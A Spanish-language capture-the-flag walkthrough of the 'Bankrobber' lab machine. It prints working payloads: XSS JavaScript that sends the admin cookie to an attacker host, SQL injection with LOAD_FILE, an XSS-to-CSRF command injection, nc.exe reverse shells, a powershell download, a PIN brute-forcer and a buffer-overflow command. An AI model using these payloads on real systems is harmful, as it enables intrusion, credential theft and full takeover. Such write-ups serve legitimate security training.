Bankrobber

Enumeración

Iniciamos con la máquina comprobando la conectividad realizando un ping a la IP 10.10.10.154.

ping -c 1 10.10.10.154
PING 10.10.10.154 (10.10.10.154) 56(84) bytes of data.
64 bytes from 10.10.10.154: icmp_seq=1 ttl=127 time=99.8 ms

--- 10.10.10.154 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 99.789/99.789/99.789/0.000 ms

En el output del comando ejecutado en el parámetro ttl se ve que el valor está más cerca del 128 que del 64, gracias a este parámetro se puede saber el sistema operativo que se está utilizando, en este caso un Windows.

TTL OS
64 GNU/Linux
128 Windows

Vamos a utilizar la herramienta Nmap para escanear los puertos que estén abiertos y servicios que están asociados a estos.

nmap -p- --open -sCV -n --min-rate 5000 -Pn 10.10.10.154 -oN Scan
Parámetros Descripción
-p- Indica que analice todos los puertos del 1 al 65535
–open Únicamente se escanearan los puertos que estén abiertos
-sC Lanza scripts que tiene Nmap por defecto para detectar el tipo de servicio que este corriendo en un puerto
-sV Lanza scripts que tiene Nmap para saber que versión están utilizando los servicios
-n Se evita realizar resolución DNS
–min-rate Indica la cantidad de paquetes que se envían por segundo, en este caso 5000
-Pn Deshabilita la búsqueda del host, solamente manda los paquetes a los puertos.
-oN Exporta el output del comando ejecutado a un archivo en formato nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-21 14:47 CET
Nmap scan report for 10.10.10.154
Host is up (0.100s latency).
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-title: E-coin
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-title: E-coin
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-02-21T13:51:05
|_  start_date: 2025-02-20T18:52:33
|_clock-skew: mean: 5s, deviation: 0s, median: 4s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 220.66 seconds

Los puertos que se han descubierto son:

Puertos Servicio Versión
80 HTTP Apache httpd 2.4.39
445 microsoft-ds SMB v2.1
3306 mysql MariaDB (unauthorized)

Si utilizamos la herramienta crackmapexec vemos que se trata de un Windows 10 y tiene como dominio Bankrobber.

crackmapexec smb 10.10.10.154
SMB         10.10.10.154    445    BANKROBBER       [*] Windows 10 Pro 14393 (name:BANKROBBER) (domain:Bankrobber) (signing:False) (SMBv1:True)

Al acceder a la pagina encontramos un apartado para poder registrarse e iniciar sesión.

Nos creamos una cuenta y accedemos

Al acceder, vemos que nos aparece un apartado donde podemos realiza una transferencia de E-coins.

Al enviar una cantidad para realizar una prueba, nos aparece un pop-up donde nos indica que la transferencia será revisada por el usuario admin.

Viendo esto, vamos a probar con realizar un XSS, para proba si es vulnerable a este, enviando una petición a nuestro servidor HTTP.

Y efectivamente, recibimos una petición del usuario admin.

Si revisamos nuestra cookie de sesión para verificar si la variable HttpOnly está desactivada y así intentar realizar un Cookie Hijacking, vemos que no solo está desactivada, sino que los valores están codificados en Base64. Sin embargo, al estar también urlencodeados, el signo = se representa como %3D.

Tras decodificarlo, vemos que son la password y el username del usuario que hemos creado.

Por tanto si conseguimos la cookie de sesión del usuario admin, podremos conseguir sus credenciales y acceder como este.

Creamos un recurso en JavaScript que envié por el método GET la cookie de sesión al servidor HTTP, y para que la solicitud sea asíncrona y permita que el código siga ejecutándose sin bloquear la página, añadimos true.

var request = new XMLHttpRequest();

request.open("GET", "http://10.10.14.13/?c="+document.cookie, true);

request.send();

Enviamos el XSS con la petición hacia el recurso JavaScript.

Ahora si esperamos un poco, recibimos la petición GET.

python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.154 - - [22/Feb/2025 19:41:43] "GET /cookies.js HTTP/1.1" 200 -
10.10.10.154 - - [22/Feb/2025 19:41:43] "GET /?c=username=YWRtaW4%3D;%20password=SG9wZWxlc3Nyb21hbnRpYw%3D%3D;%20id=1 HTTP/1.1" 200 -

Decodificamos las cookies

echo "YWRtaW4=" | base64 -d; echo
admin
echo "SG9wZWxlc3Nyb21hbnRpYw==" | base64 -d; echo
Hopelessromantic

Y accedemos con las nuevas credenciales.

Al acceder, nos muestran varios apartados

En el apartado de buscar usuarios, podemos ingresar un ID, y nos muestra el usuario correspondiente a dicho ID.

Si miramos en el encabezado de la pagina, vemos un apartado con nombre NOTES.TXT y al acceder a este, nos muestra un archivo que indica que se deben mover todos los archivos de la carpeta predeterminada de XAMPP.

Si buscamos por internet, vemos que la carpeta predeterminada del XAMPP es C:/xampp/htdocs.

Indagando en el apartado del comando dir, probamos con poner un comando que no sea ese, pero no nos lo permite

Si ponemos el comando que se nos pide, vemos que solo es permitido si es ejecutado desde la propia maquina.

interceptamos la petición con BurpSuite para saber a donde es redirigida, y vemos que es enviada a /admin/backdoorchecker.php, sin embargo, recordando que por detrás esta corriendo xampp, sabemos entonces que la ruta exacta sería C:/xampp/htdocs/admin/backdoorchecker.php.

Pero al intentar acceder a la ruta deseada, no nos es posible.

Siguiendo en el apartado de buscar usuarios, probamos ciertas inyecciones para ver si es vulnerable a SQLi.

Y parece que si que es vulnerable a inyecciones SQL.

Al realizar un order by 4 me salta un error, por lo que vemos que tiene 3 columnas.

Pero solo nos devuelve la columna 1 y 2.

Miramos la versión del RDBMS y que usuario somos.

Al enumerar la base de datos mediante varias consultas, no encontré mucho de interés, pero si nos fijamos en los usuario que tienen la variable FILE habilitada con la consulta 1’ UNION SELECT grantee,privilege_type,3 FROM information_schema.user_privileges WHERE privilege_type=‘FILE’– -, vemos que el usuario root si que la tiene.

Por tanto podríamos leer el contenido del archivo backdoorchecker.php utilizando la función LOAD_FILE() mediante la siguiente consulta 1’ union select load_file(“C:/xampp/htdocs/admin/backdoorchecker.php”),2,3– -.

Viendo que no nos interpreta el código PHP Interceptamos la petición con BurpSuite y así poder visualizar mejor el contenido.

Vemos que comprueba el comando en busca de los caracteres $(&, utilizados para colar un comando en linux, y falla si alguno de ellos está presente.

Por último, vemos que comprueba que la dirección remota sea desde la maquina y, si es así, ejecuta la función system() cogiendo la data que se envía por POST parar ser tramitada por el parámetro CMD. Por lo que viendo esto, hay una posible ejecución remota de comandos.

Para poder burlar los filtros iniciales, podemos jugar con el signo pipe |, pero para que esto funcione hay que enviar la petición desde la maquina victima. Para ello jugaremos de nuevo con el XSS descubierto para que cuando el usuario admin acceda a nuestro servidor, por detrás estará ejecutando un recurso en JavaScript que enviara una petición por POST al archivo backdoorchecker.php, y al ser el usuario admin quien lo está enviando desde el localhost, el comando podrá ser ejecutado, convirtiendo el XSS en un XSRF.

Vamos a realizar una prueba, enviandonos un ping, desde la maquina victima.

var request = new XMLHttpRequest();
var pwn = 'cmd=dir|ping -n 1 10.10.14.13';
request.open("POST", "http://localhost/admin/backdoorchecker.php", true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(pwn);

Si esperamos un poco podemos ver que recibimos la traza de la petición ICMP.

Sabiendo esto, vamos a crear un servidor SMB para que se conecte y ejecute el binario nc.exe para enviarnos el binario cmd.exe.

Nos descargamos el nc.exe

Y ejecutamos el SMB.

impacket-smbserver pwn $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

creamos el recurso que enviara le petición para acceder al SMB.

var request = new XMLHttpRequest();
var pwn = 'cmd=dir|\\\\10.10.14.13\\pwn\\nc.exe 10.10.14.13 555 -e cmd.exe';
request.open("POST", "http://localhost/admin/backdoorchecker.php", true);
request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
request.send(pwn);

Tras enviar el XSS y esperar rato, recibimos la shell.

rlwrap nc -lvnp 555
listening on [any] 555 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.154] 51883
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle rechten voorbehouden.

C:\xampp\htdocs\admin>

Dentro del directorio Desktop del usuario Cortin, podemos visualizar la primera flag.

dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3307-A1DE

 Directory of C:\Users\Cortin\Desktop

25-04-2019  19:16    <DIR>          .
25-04-2019  19:16    <DIR>          ..
22-02-2025  08:30                34 user.txt
               1 File(s)             34 bytes
               2 Dir(s)   5.203.873.792 bytes free

type user.txt
type user.txt
a9f*****************************

C:\Users\Cortin\Desktop>

Post-explotación

Si miramos en la raíz del sistema, vemos un binario con nombre bankv2.exe que llama la atención.

dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 3307-A1DE

 Directory of C:\

25-04-2019  16:50            57.937 bankv2.exe
24-04-2019  21:27    <DIR>          PerfLogs
21-10-2022  10:32    <DIR>          Program Files
21-10-2022  10:34    <DIR>          Program Files (x86)
24-04-2019  15:52    <DIR>          Users
11-01-2021  15:17    <DIR>          Windows
24-04-2019  21:18    <DIR>          xampp
               1 File(s)         57.937 bytes
               6 Dir(s)   5.208.616.960 bytes free

C:\>

Vemos que no tenemos acceso, al traducirlo, “Toegang geweigerd” es “Acceso denegado” en holandés.

bankv2.exe
bankv2.exe
Toegang geweigerd.

C:\>

Vemos que el binario está utilizando el puerto 910

tasklist | findstr bankv2.exe
tasklist | findstr bankv2.exe
bankv2.exe                    1652                            0        408 K

netstat -ano | findstr 1652
netstat -ano | findstr 1652
  TCP    0.0.0.0:910            0.0.0.0:0              LISTENING       1652

C:\>

Vamos a realizar un Remote Port Forwarding utilizando la herramienta Chisel.

Ejecutamos el chisel como servidor en nuestra maquina.

./chisel server --reverse -p 8080
2025/02/22 20:52:49 server: Reverse tunnelling enabled
2025/02/22 20:52:49 server: Fingerprint /2JXC9JOW1crN1CBfW54FdSuk9OmDFJcBE8BxSOZ4qA=
2025/02/22 20:52:49 server: Listening on http://0.0.0.0:8080

Aprovechando que tenemos el servidor SMB, ejecutamos el Chisel directamente, haciendo que el puerto 910 pase a ser nuestro puerto.

\\10.10.14.13\pwn\chisel.exe client 10.10.14.13:8080 R:910:127.0.0.1:910
\\10.10.14.13\pwn\chisel.exe client 10.10.14.13:8080 R:910:127.0.0.1:910
2025/02/22 19:16:37 client: Connecting to ws://10.10.14.13:8080
2025/02/22 19:16:45 client: Connected (Latency 553.8256ms)

Y recibimos el túnel en el servidor.

./chisel server --reverse -p 8080
2025/02/22 20:52:49 server: Reverse tunnelling enabled
2025/02/22 20:52:49 server: Fingerprint /2JXC9JOW1crN1CBfW54FdSuk9OmDFJcBE8BxSOZ4qA=
2025/02/22 20:52:49 server: Listening on http://0.0.0.0:8080
2025/02/22 21:09:55 server: session#1: tun: proxy#R:910=>910: Listening

ahora si nos conectamos por el puerto 910 podemos acceder al binario.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 

Nos pide un PIN de 4 dígitos, si ponemos cualquiera por obvias razones nos deniega el acceso.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 1234
 [!] Access denied, disconnecting client....

Vamos a crear un script en python para realizar el ataque de fuerza bruta, y poder adivinar el PIN correcto.

#!/usr/bin/python3  
from pwn import log, socket  
import time  
  
def brutef():  
  
    p1 = log.progress("Fuerza Bruta")  
  
    p1.status("Iniciando ataque de fuerza bruta")  
  
    time.sleep(2)  
  
    for pin in range(10000):  
  
        pin = str(pin).zfill(4)  
  
        p1.status("Probando con el PIN [%s/9999]" % pin)  
  
  
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        s.connect(("127.0.0.1", 910))  
  
        data = s.recv(1024)  
  
        s.send(pin.encode() + b'\n')  
  
        data = s.recv(1024)  
  
        if "Access denied" not in data.decode():  
            p1.success(f"El PIN correcto es {pin}")  
            break  
  
if __name__ == "__main__":  
    brutef()

Si lo ejecutamos, podemos averiguar ahora que el PIN correcto es 0021

python3 brutef.py
[+] Fuerza Bruta: El PIN correcto es 0021

Ahora al acceder al binario y poner el PIN correcto, nos pide una cantidad de e-coins para realizar cierta transferencia, y si nos fijamos vemos que tras poner un numero, ejecuta un binario.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] 123
 [$] Transfering $123 using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: C:\Users\admin\Documents\transfer.exe

 [$] Transaction in progress, you can safely disconnect...

Al probar de poner varios caracteres, vemos que llega un punto en el que estos sobrescriben el espacio donde se supone que debería ir el binario, desbordando el nombre del ejecutable, y ejecutando el contenido resultante.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 [$] Transfering $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 [$] Transaction in progress, you can safely disconnect...

Vamos a generar un patrón, para saber la cantidad necesaria de caracteres que necesitamos para llegar a sobrescribir ese espacio.

msf-pattern_create -l 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Enviamos el patrón.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
 [$] Transfering $Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: 0Ab1Ab2Ab3Ab4Ab5Ab

 [$] Transaction in progress, you can safely disconnect...

Ahora cogemos los 4 primeros bytes, y así obtenemos el offset.

msf-pattern_create -q 0Ab1
[*] Exact match at offset 32

Vale, ahora que sabemos que necesitamos 32 caracteres, para antes de empezar a sobrescribir el espacio donde aparece el nombre del binario, crearemos un payload donde después de los 32 caracteres, se ejecutará el contenido que haya, en este caso la ejecución del binario nc.exe.

python3 -c "print('A'*32 + 'C:\\\\Users\\\\Cortin\\\\AppData\\\\Local\\\\Temp\\\\nc.exe 10.10.14.13 999 -e cmd.exe')"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Cortin\AppData\Local\Temp\nc.exe 10.10.14.13 999 -e cmd.exe

Descargamos el nc.exe en la maquina Windows.

C:\>powershell -c "iwr http://10.10.14.13/nc.exe -outfile %temp%\nc.exe"

Enviamos el payload mientras nos ponemos en escucha.

nc 127.0.0.1 910
 --------------------------------------------------------------
 Internet E-Coin Transfer System
 International Bank of Sun church
                                        v0.1 by Gio & Cneeliz
 --------------------------------------------------------------
 Please enter your super secret 4 digit PIN code to login:
 [$] 0021
 [$] PIN is correct, access granted!
 --------------------------------------------------------------
 Please enter the amount of e-coins you would like to transfer:
 [$] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Cortin\AppData\Local\Temp\nc.exe 10.10.14.13 999 -e cmd.exe
 [$] Transfering $AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Cortin\AppData\Local\Temp\nc.exe 10.10.14.13 999 -e cmd.exe using our e-coin transfer application. 
 [$] Executing e-coin transfer tool: C:\Users\Cortin\AppData\Local\Temp\nc.exe 10.10.14.13 999 -e cmd.exe

 [$] Transaction in progress, you can safely disconnect...

Y recibimos la shell como el usuario nt authority\system.

❯ rlwrap nc -lvnp 999
listening on [any] 999 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.10.154] 49764
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle rechten voorbehouden.

whoami
whoami
nt authority\system

C:\Windows\system32>

Pudiendo finalmente visualizar la ultima flag.

type root.txt
type root.txt
e58*****************************

C:\Users\admin\Desktop>

Aqui se explica con detalle el AutoPWN de la máquina Bankrobber.


© - Mr. Pr1ngl3s